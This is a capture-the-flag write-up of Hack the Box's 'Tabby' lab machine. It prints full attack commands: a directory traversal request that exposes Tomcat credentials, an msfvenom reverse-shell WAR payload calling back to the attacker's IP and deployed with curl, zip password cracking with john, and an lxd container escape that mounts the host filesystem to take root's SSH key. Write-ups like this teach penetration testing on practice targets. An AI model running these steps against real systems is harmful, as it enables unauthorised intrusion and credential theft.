This is a write-up for Hack the Box’s just retired Tabby machine.
We first find a Directory Traversal vulnerability in a web app and use it to obtain credentials for a Tomcat server running on the same host. Cracking a zip password of a discovered file then gives us access to the first low-priv user. From there, we exploit the fact that our user is part of the
lxd group, create a small Alpine Linux image and eventually mount the host’s root file system in a new container.
Recon and Enumeration
We start by doing a fast scan to get a first overview of the box:
nmap -F 10.10.10.194 [...] Not shown: 97 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8080/tcp open http-proxy
Port 80 and 8080 are the most obvious things to look at first. While we start here, we also begin a full TCP port scan in the background (
nmap -p- 10.10.10.194) to potentially gather more information for a later stage.
Looking at the site on port 80, we notice links going to the hostname
megahosting.htb. We add it to our
/etc/hosts file and proceed.
Directory Traversal via news.php
The top menu item News looks interesting, as it points to
http://megahosting.htb/news.php?file=statement, hinting at a potential file inclusion and/or directory traversal.
We are lucky and can easily traverse and read files from the server:
Before spending much time enumerating the file system “half-blind”, though, let’s first see if we can find another service that could give us guidance on where to look for interesting files.
Discovering Tomcat and utilizing earlier vulnerability
Checking the results of our full port scan from ealier, we can see that TCP port 22, 80 and 8080 are the only open ports – so nothing new here.
http://megahosting.htb:8080, we find what seems to be a default Tomcat 9 installation:
We’re getting a Basic Auth prompt for
http://megahosting.htb:8080/manager/html. Since we don’t have any credentials yet, we can try to utilize the vulnerability from earlier and read the
tomcat-users.xml file, which could give us potential usernames, passwords and role information.
The default Tomcat page happily gives up the installation directory as
/usr/share/tomcat9. It is thus most-likely, that we find configuration files in here.
Looking at common file pathes, we can easily identify
/usr/share/tomcat9/etc/tomcat-users.xml as the location of a potential target file.
Via the earlier directory traversal vulnerability we can can indeed get its contents:
GET /news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml HTTP/1.1 [...] <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/> [...]
Since we don’t have the
manager-gui role, we cannot utilize the web interface though. The
manager-script role, however, should be enough as it also gives us the ability to deploy our own apps – just not via the web ui.
Deploying our own app
Looking at the Tomcat manager documentation, we can get instructions on how to use the HTTP interface to deploy new apps (see section “Deploy A New Application Archive (WAR) Remotely”). TL;DR: A simple
curl PUT file upload command should do.
We can create our own WAR app with a reverse shell payload by using
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.19 LPORT=80 -f war -o letmein.war
For later access, we note the name of the JSP file
msfvenom generated by looking into the
letmein.war (which is a zip archive):
$ unzip -l letmein.war Archive: letmein.war Length Date Time Name --------- ---------- ----- ---- 0 2020-11-06 22:01 META-INF/ 71 2020-11-06 22:01 META-INF/MANIFEST.MF 0 2020-11-06 22:01 WEB-INF/ 263 2020-11-06 22:01 WEB-INF/web.xml 1801 2020-11-06 22:01 gvggpzkl.jsp <--- this guy! --------- ------- 2135 5 files
With our credentials and payload at hand, we can attempt to deploy:
curl -v -u 'tomcat:$3cureP4s5w0rd123!' --upload-file letmein.war 'http://10.10.10.194:8080/manager/text/deploy?path=/letmein&update=true' * Trying 10.10.10.194:8080... * Connected to 10.10.10.194 (10.10.10.194) port 8080 (#0) * Server auth using Basic with user 'tomcat' > PUT /manager/text/deploy?path=/letmein&update=true HTTP/1.1 > Host: 10.10.10.194:8080 > Authorization: Basic dG9tY2F0OiQzY3VyZVA0czV3MHJkMTIzIQ== > User-Agent: curl/7.72.0 > Accept: */* > Content-Length: 1533 > Expect: 100-continue > * Mark bundle as not supporting multiuse < HTTP/1.1 100 * We are completely uploaded and fine * Mark bundle as not supporting multiuse < HTTP/1.1 200 < Cache-Control: private < Expires: Thu, 01 Jan 1970 00:00:00 GMT < X-Content-Type-Options: nosniff < Content-Type: text/plain;charset=utf-8 < Transfer-Encoding: chunked < Date: Fri, 06 Nov 2020 21:20:15 GMT < OK - Deployed application at context path [/letmein]
Starting a listener on port 80 (
nc -lvnp 80), then hitting the JSP file of our payload (
curl http://10.10.10.194:8080/letmein/gvggpzkl.jsp) should give us our first shell:
$ nc -lvnp 80 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::80 Ncat: Listening on 0.0.0.0:80 Ncat: Connection from 10.10.10.194. Ncat: Connection from 10.10.10.194:53318
Privilege Escalation to “ash” (hash cracking)
With our shell, we are the
tomcat user and not part of any special group (
After a couple of basic checks and looking at common places, we find
/var/www/html/files – a file we could have also accessed earlier via port 80 if we had known its name.
We can download and try to open it. Unfortunately, the zip file has a password on it.
zip2john 16162020_backup.zip, we extract the hash and attempt to crack it using a common wordlist:
john --wordlist=~/wordlists/SecLists/Passwords/Leaked-Databases/rockyou.txt zip.hash Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Press 'q' or Ctrl-C to abort, almost any other key for status admin@it (16162020_backup.zip) 1g 0:00:00:01 DONE (2020-11-06 22:48) 0.5617g/s 5817Kp/s 5817Kc/s 5817KC/s adminako123..admin422243
Cracking the password succeeds after just a second.
We can now extract the contents of the archive, but find it is simply a current backup of the site and thus contains nothing new.
Having discovered a new password, however, we can see if somebody is re-using their credentials.
We first try it on the user
ash as it’s the only user with a shell besides root (
grep bash /etc/passwd). And it works! We can switch to user
su ash and password
Privilege Escalation to “root” (lxd)
Now that we are
ash, let’s check our groups again:
id uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
We are part of the
lxd group, which looks like a solid way to escalate by creating a new container and mounting the host file system.
We can also – more or less – follow the instructions for building the image. But as we only need a light-weight base, we choose Alpine over Ubuntu.
Let’s make a directory and grab an Alpine configuration:
$ mkdir alpine $ cd alpine/ $ vim alpine.yml
alpine.yml we use https://github.com/lxc/lxc-ci/blob/master/images/alpine.yaml.
Now we can go ahead and build the
lxd image using
$ distrobuilder build-lxd alpine.yml -o image.release=3.12 /tmp/alpinelinux-3.12-x86_64/alpine-minirootfs-3.12.0-x86_64.tar.gz: 100% (5.53MB/s) /tmp/alpinelinux-3.12-x86_64/alpine-minirootfs-3.12.0-x86_64.tar.gz.asc: 100% (2.29GB/s) fetch http://dl-cdn.alpinelinux.org/alpine/v3.12/main/x86_64/APKINDEX.tar.gz [...]
We should now have our container image consisting of
rootfs.squashfs present in our
alpine folder. Let’s transfer the file over to the target machine:
# on target nc -lvnp 8000 > lxd.tar.xz nc -lvnp 8000 > rootfs.squashfs # on attacker nc 10.10.10.194 8000 < lxd.tar.xz nc 10.10.10.194 8000 < rootfs.squashfs # on both hosts to check if everything went fine md5sum *
Then add the image on the target host:
lxd init # on a fresh instance, you need to init, but can go with the defaults lxc image import lxd.tar.xz rootfs.squashfs --alias givemeroot
Now we can create and configure our privileged privesc container to mount the host file system (options taken from HackTricks):
lxc init givemeroot privesc -c security.privileged=true lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
And that’s it. We can run our container, get a shell in it and navigate to our mount point to gain full access to the host’s root filesystem:
lxc start privesc lxc exec privesc /bin/sh cd /mnt/root <-- host's file system
With this kind of access, we can steal the
/mnt/root/root/.ssh and SSH into the box as root:
ssh -i root.key email@example.com
Since this is a quite visible privilege escalation, you can either reset the box or remove the lxd stuff you added to not spoil it for other players. Essentially, it is:
lxc delete privesc lxc image delete givemeroot lxc network delete lxdbr0 <-- from the init lxc storage delete default lxc profile edit default <-- wipe config
I hope you’ve enjoyed this write-up. If you have any questions, did it another way or have something else to say, feel free to reach out. I’m always happy to learn new things. You can also check out the other write-ups.